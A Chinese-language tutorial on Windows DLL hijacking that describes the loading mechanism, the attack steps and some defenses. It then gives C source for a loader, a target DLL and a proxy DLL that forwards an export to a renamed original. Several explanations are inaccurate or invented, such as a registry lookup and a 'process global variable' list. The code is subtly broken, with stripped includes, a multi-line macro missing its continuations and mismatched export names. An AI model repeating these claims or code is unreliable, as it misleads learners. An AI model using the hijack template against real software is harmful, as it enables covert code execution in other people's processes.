(一)DLL加载机制。在Windows操作系统中,当一个应用程序或进程需要使用某个动态链接库(DLL)时,它会首先在系统注册表中查找该DLL的信息,然后通过调用Windows API函数LoadLibrary()来加载该DLL。LoadLibrary()函数会返回一个指向DLL模块句柄的指针,该句柄可以被应用程序或进程用来访问DLL中的函数和数据。但是,LoadLibrary()函数并不是简单地将DLL加载到内存中并返回其句柄,它还会在系统中维护一个已加载DLL的列表,以便后续的卸载操作。这个列表被称为“进程全局变量”,它是一个特殊的全局变量,只能被当前进程及其子进程访问。当一个进程调用LoadLibrary()函数时,系统会将该DLL的信息添加到进程全局变量中;当该进程调用FreeLibrary()函数卸载DLL时,系统会将该DLL的信息从进程全局变量中删除。
(二)DLL劫持攻击方法。DLL劫持攻击的基本思想是:将恶意代码注入到目标进程中,然后在目标进程中使用LoadLibrary()函数加载一个合法的DLL文件,但实际上却加载了恶意代码生成的假DLL文件。当目标进程调用DLL中的函数时,实际上是在调用恶意代码中的函数,从而实现对目标进程的控制和窃取信息等恶意行为。具体来说,DLL劫持攻击通常包括以下几个步骤:
(1)寻找可注入的目标进程:攻击者需要找到一些具有安全漏洞或者权限较低的进程,才能成功注入恶意代码。例如,攻击者可以利用钓鱼邮件等方式获取用户的登录凭据,然后以管理员身份运行一个监听服务,等待用户登录并打开目标进程。
(2)构造恶意代码:攻击者需要编写一段特殊的恶意代码,用于将自身代码注入到目标进程中。这段代码通常会使用字符串加密和解密技术来确保不被杀毒软件检测到。同时,攻击者还需要根据目标进程的类型和版本等信息,选择合适的DLL文件名和路径来进行注入。
(3)注入恶意代码:攻击者需要在目标进程中执行一段特殊的代码,用于将恶意代码注入到进程中。这段代码通常会使用CreateRemoteThread()函数来在目标进程中创建一个新线程,并将恶意代码作为线程函数进行注入。同时,攻击者还需要设置好线程的堆栈大小、优先级等信息,以确保恶意代码能够正确执行。
(4)实现DLL劫持。一旦DLL劫持攻击成功,攻击者就可以完全控制目标进程的执行流程,实现各种恶意行为。例如,攻击者可以窃取用户的敏感信息、篡改网页内容、发起拒绝服务攻击等。此外,由于DLL劫持攻击可以在用户不知情的情况下进行,因此很难被发现和防范。
(三)防御DLL劫持攻击的方法。为了防范DLL劫持攻击,我们可以采取以下几种措施:
(1)限制DLL加载权限:可以通过修改目标进程的安全策略,限制其只能加载指定的DLL文件,而不能加载其他目录下的DLL文件。此外,还可以使用VirtualProtect()函数等技术来限制DLL文件中的代码段的执行权限。
(2)使用白名单机制:可以通过建立一个白名单机制,只允许已知安全的DLL文件被加载。当目标进程尝试加载一个未被授权的DLL文件时,系统会抛出异常并终止该进程。这种方法虽然简单易用,但是对于一些新型的DLL劫持攻击可能无效。
(3)加强安全防护措施:可以通过安装杀毒软件、更新操作系统补丁、关闭不必要的系统服务等方式来增强系统的安全防护能力。此外,还可以使用沙箱技术等隔离技术来限制恶意代码的执行范围。
使用工具 SuperDllHijack
也可以自己尝试构建:
1.构建一个动态加载DLL的程序(比如是一个计算乘法的程序)
//加载器
#include
#include
typedef int (*pMultiply)(int a, int b);
int main()
{
// 尝试获取Dll.dll的模块句柄
HMODULE hModule = GetModuleHandleA("Dll.dll");
if (hModule == NULL)
{
hModule = LoadLibraryA("Dll.dll");
if (hModule == NULL)
{
printf("Failed to load Dll.dll\n");
return 1; // 返回错误码
}
}
// 获取Multiply函数的地址
pMultiply Multiply = (pMultiply)GetProcAddress(hModule, "Multiply");
if (Multiply == NULL)
{
printf("Failed to get function address\n");
return 1; // 返回错误码
}
// 调用Multiply函数并输出结果
printf("Succeed\n2 * 3 = %d\n", Multiply(2, 3));
// 暂停程序,并等待用户输入。
system("pause > nul");
return 0; // 正常结束
}
//乘法DLL
#include
#include
#define EXTERNC extern "C"
#define EXPORT __declspec(dllexport)
#define ECEP EXTERNC EXPORT
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "Attach", "", MB_ICONINFORMATION);
break;
case DLL_PROCESS_DETACH:
MessageBoxA(NULL, "Detach", "", MB_ICONINFORMATION);
break;
default:
break;
}
return TRUE;
}
ECEP int Multiply(int a, int b) // 将函数名从 Add 改为 Multiply
{
return a * b; // 修改加法为乘法
}
2.劫持函数
#include
#include
// 函数导出和调用约定
#define EXTERNC extern "C"
#define NAKED __declspec(naked)
#define EXPORT __declspec(dllexport)
#define ECEP EXTERNC EXPORT
#define ENCDECL EXTERNC NAKED void __cdecl
#define ENDEF ENCDECL
// 宏定义用于动态跳转到另一个 DLL 中的函数
#define JMPFARPROC(lpModuleName, lpProcName)
HMODULE hModule = GetModuleHandleA(lpModuleName);
if (hModule == NULL) {
hModule = LoadLibraryA(lpModuleName);
}
FARPROC pProc = GetProcAddress(hModule, lpProcName);
if (pProc != NULL) {
__asm JMP pProc;
}
// 导出的函数
#pragma comment(linker, "/EXPORT:Add=_Add,@1")
ENDEF Add() {
JMPFARPROC("Dll.tmp", "Add");
}
// DLL 的主入口点
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "Hijack Dll Attach", "通知", MB_ICONINFORMATION);
break;
case DLL_PROCESS_DETACH:
MessageBoxA(NULL, "Hijack Dll Detach", "通知", MB_ICONINFORMATION);
break;
default:
break;
}
return TRUE;
}